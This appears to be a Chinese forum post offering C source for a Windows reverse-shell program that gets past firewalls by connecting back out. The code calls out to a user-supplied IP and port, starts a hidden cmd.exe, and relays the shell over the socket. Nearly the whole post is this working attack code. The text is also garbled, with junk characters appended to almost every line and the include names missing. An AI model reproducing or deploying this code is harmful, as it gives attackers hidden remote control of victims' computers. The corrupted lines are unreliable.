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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ,N))=/  
36x5q 1  
/* ============================== .dg 4gr\D  
Rebound port in Windows NT xy-$v   
By wind,2006/7 yP<:iCY  
===============================*/ G>_42Rp  
#include (d5vH)+ A  
#include pR@GvweA  
-6em*$k^  
#pragma comment(lib,"wsock32.lib") X d19GP!  
n!CP_  
void OutputShell(); : e0R7sj  
SOCKET sClient; ]sm0E@1  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Y7b,td1  
cW~6@&zp  
void main(int argc,char **argv) ]$?zT`>(F  
{ ( TbB?X}  
WSADATA stWsaData; ||*&g2Y  
int nRet; UL@5*uiX  
SOCKADDR_IN stSaiClient,stSaiServer; L_.xr ?  
R.T?ZF  
if(argc != 3) ki*79d"$  
{ QvK]<HEr  
printf("Useage:\n\rRebound DestIP DestPort\n"); DS[l,x  
return; w/^0tZ~  
} N#-kk3!Z;  
$&n240(  
WSAStartup(MAKEWORD(2,2),&stWsaData); FgHB1x4;  
=A6u=  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '^.=gTk  
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stSaiClient.sin_family = AF_INET; 0N3tsIm>  
stSaiClient.sin_port = htons(0); k DceBs s  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); J4 '!  
S7#^u`'Q_^  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) LfjS[  
{ J7 *G/F  
printf("Bind Socket Failed!\n"); UtGd/\:  
return; n/-p;#R  
}  2U+z~  
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stSaiServer.sin_family = AF_INET; v#<+n{B  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); q=E}#[EgY  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [V#&sAe  
(X`t"*y"  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [pC-{~  
{ 3MBz  
printf("Connect Error!"); P7BJ?x  
return; pn_gq~5ng  
} :[X }.]"  
OutputShell(); Ie`SWg*WL  
} &:cTo(C'  
O7<V@GL+  
void OutputShell() C Sk  
{ fXXm@tMx>  
char szBuff[1024]; Cn./Naq  
SECURITY_ATTRIBUTES stSecurityAttributes; h.s<0.  
OSVERSIONINFO stOsversionInfo; 9B6_eFb  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^&G O4u  
STARTUPINFO stStartupInfo; x"C93ft[  
char *szShell; ]a%\Q 2[c  
PROCESS_INFORMATION stProcessInformation; CDTk  
unsigned long lBytesRead; Bc9|rlV,  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);  JY050FL  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -)->Jx:{  
stSecurityAttributes.lpSecurityDescriptor = 0; pS|JDMo  
stSecurityAttributes.bInheritHandle = TRUE; m(7_ZiL=  
V@+<,tjq  
dv4r\ R^  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); zk^7gx3x  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ow>[#.ua  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Zkb,v!l  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -"JE-n  
stStartupInfo.wShowWindow = SW_HIDE; )V+Dqh,-g  
stStartupInfo.hStdInput = hReadPipe; "*>QxA%c4  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; GF.g'wYc)Y  
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GetVersionEx(&stOsversionInfo); cdU >iB,  
fY+ .#V  
switch(stOsversionInfo.dwPlatformId) r{:la56Xd  
{ 0\ytBxL  
case 1: )*L?PT  
szShell = "command.com"; cX=b q_  
break; @}rfY9o'  
default: dU04/]modD  
szShell = "cmd.exe"; {*]= qSz  
break; '?!<I  
} T?}=k{C]  
=L; n8~{@y  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);  q&Ua(I  
J`D<  
send(sClient,szMsg,77,0); V:" \(Y  
while(1) LM`tNZ1Fc!  
{ 9787uj]Y}H  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %!hA\S  
if(lBytesRead) }y=n#%|i.  
{ k3|9U'r!c  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /7HIL?r  
send(sClient,szBuff,lBytesRead,0); fO}1(%}d  
} zZ"')+7q&%  
else c.me1fGn  
{ 6`$z*C2{  
lBytesRead=recv(sClient,szBuff,1024,0); FVLA^$5c  
if(lBytesRead<=0) break; x?k |i}Q  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); bA9dbe  
} w!Lb;4x ?  
} nOoh2jUM  
E=U^T/  
return; ^~k FC/tQ  
}
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